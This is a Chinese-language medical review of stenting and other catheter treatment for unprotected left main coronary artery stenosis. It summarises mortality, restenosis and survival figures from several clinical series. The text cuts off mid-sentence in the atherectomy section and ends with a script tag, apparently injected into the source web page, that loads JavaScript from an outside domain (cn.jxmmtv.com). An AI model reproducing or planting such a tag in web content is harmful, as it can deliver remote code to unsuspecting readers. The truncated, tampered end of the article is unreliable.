在缺血性性心脏病、充血性心力衰竭或心源性休克等心脏导管介入检查中，左主干病变约占3％~5％，长期以来，由于左主干血管支配整个左心系统，一旦血流被阻断，将易出现严重的心肌缺血并发症，如室颤、心脏骤停或心源性休克，因此无法保护左主干狭窄（ULMCA）病人的治疗一直为人们所关注。冠脉搭桥术以其显著改善病人的生存率而成为ULMCA病人的首选治疗手段[2]。经皮冠脉腔内球囊成形术（PTCA）治疗ULMCA的早期研究表明由于手术风险、难度及严重并发症均较高而未得到认可。随着支架技术在冠心病介入治疗中的应用和操作技巧、器械的进步，近年来多位学者进行了冠脉支架术治疗ULMCA的临床研究，初步结果表明，对有选择的无保护左主干狭窄的病人可以进行冠脉内支架术[4-6]。

概 念
    无保护左主干病变包含左主干开口、干段和远段的三个部位。并分为保护和无保护左主干病变两种亚型，前者指以前经冠脉移植搭至左冠脉一支或多支主干的通畅血管桥或自身存在右向左的良好侧枝循环；后者指不存在上述的移植血管桥和自身的侧枝循环。由于二者的概念上的差别，所选择的治疗原则也是截然不同的。

既往的单纯球囊成形术
    一般认为，ULMCA病变以其管腔大、短病变及少扭曲等特征应是PTCA术的良好适应症，但研究结果表明其早期死亡率高、操作并发症较多、远期预后较差。O Keefe等于1989年报道127例ULMCA病人的近期和远期疗效，其中33例择期的ULMCA病人术中死亡率为9.1％，随访20个月的死亡率达65％[7]，血运重建率为42％（PTCA或CABG），因此美国心脏学会将无保护左主干病变指定为球囊成形术的绝对禁忌症。
    学研究表明左主干富含可能导致单纯球囊成形术后再狭窄发生率高的弹性组织，而支架技术已被证实可以降低急性冠脉闭塞和急诊冠脉搭桥的发生率，还有目前人们已研制出用来克服单纯球囊成形术不足之处的众多新器械，因此人们有理由相信，冠脉介入治疗无保护左主干病变将成为可行的举措。

冠脉内支架术的研究现状
    无保护左主干病变选择性支架术从理论上可能提供以下优点：减少球囊扩张后血管急性闭塞的危险性、增加术后即刻获得管径且降低再狭窄率。随着应用高压扩张植入支架、和或血管内超声指导下、应用阿司匹林和抵克力得等抗血小板制剂，支架术后亚急性血栓发生率为1％。
    1999年ASAN医疗中心PARK医生等总结了42例左心功能正常的无保护左主干病变的临床结果，手术成功率达100％，无院内并发症。有一例病人在冠脉移植术治疗再狭窄的术后两天死亡。术后3个月内的临床表现通常是不稳定心绞痛，随访6个月的冠脉造影再狭窄率是17％，再狭窄主要是累及左主干分叉部位，平均随访19.0＋11.4个月，无靶病变血运重建的生存率是84.7＋4.3％[5]。Park及Tamai的长期随访研究显示，靶病变血运重建生存率的变化主要发生在术后6个月内，说明支架术后再狭窄是限时性的，这与以往的研究相一致，因此有理由相信无保护左主干病变支架术后的长期预后是乐观的。
    1997年ULTIMA研究是25个多中心的关于评价无保护左主干介治疗的初期和长期临床疗效的研究，入选107个病例，手术成功率为96.4％，住院期间死亡率达20.6％，非致死性心肌梗塞10.1％，而且出院后的预后也不理想。尽管ULTIMA研究存在病例选择不均一性（左心功能、病变程度及介入方法的不同）的缺陷，但仍可提示左心功能是住院期间死亡率及无心脏事件发生的长期生存率的最重要的预测因素。
    1999年5月法国Black等比较了外科手术高危ULMCA病人（n＝39）和外科手术低危的ULMCA病人冠脉介入治疗的即刻和中期临床疗效，住院死亡率是4％，随访7.3个月，高危外科手术病人的死亡率是20.5％，而低危外科手术病人的死亡率是3.8％，提示外科手术低危ULMCA病人介入治疗的临床疗效较理想，而左心功能差的外科手术高危病人的预后较差[6]。
    国内相关的研究较少，吕树铮等应用选择性冠脉内支架术成功地治疗85例无保护左主士病变病人的近期和远期的临床疗效。85例病人手术成功率为100％，均为择期手术，无急性冠脉综合征，而且92％病人的左心功能较好，合并外科手术禁忌症者17例，术中、术后无严重并发症，一例术后3天发生亚急性血栓，平均随访21±10个月，无一例死亡，临床心绞痛复发11例（12.9％），其中3例行冠状动脉旁路移植术（CABG），5例再次PTCA，3例药物治疗。

消蚀性冠脉旋切术的应用
    目前认为消蚀性冠脉旋切术（Debulking atherectomy）是指定向性斑块旋切术（Directional coronary atherectomy,DCA）和班块旋磨术（Rotational atherectomy）。研究表明尽管应用DCA或支架术治疗ULMCA 病人的临床预后相似，但由于DCA术尚无明确降低再狭窄率的临床资料而不宜广泛应用。目前?script src=http://cn.jxmmtv.com/cn.js>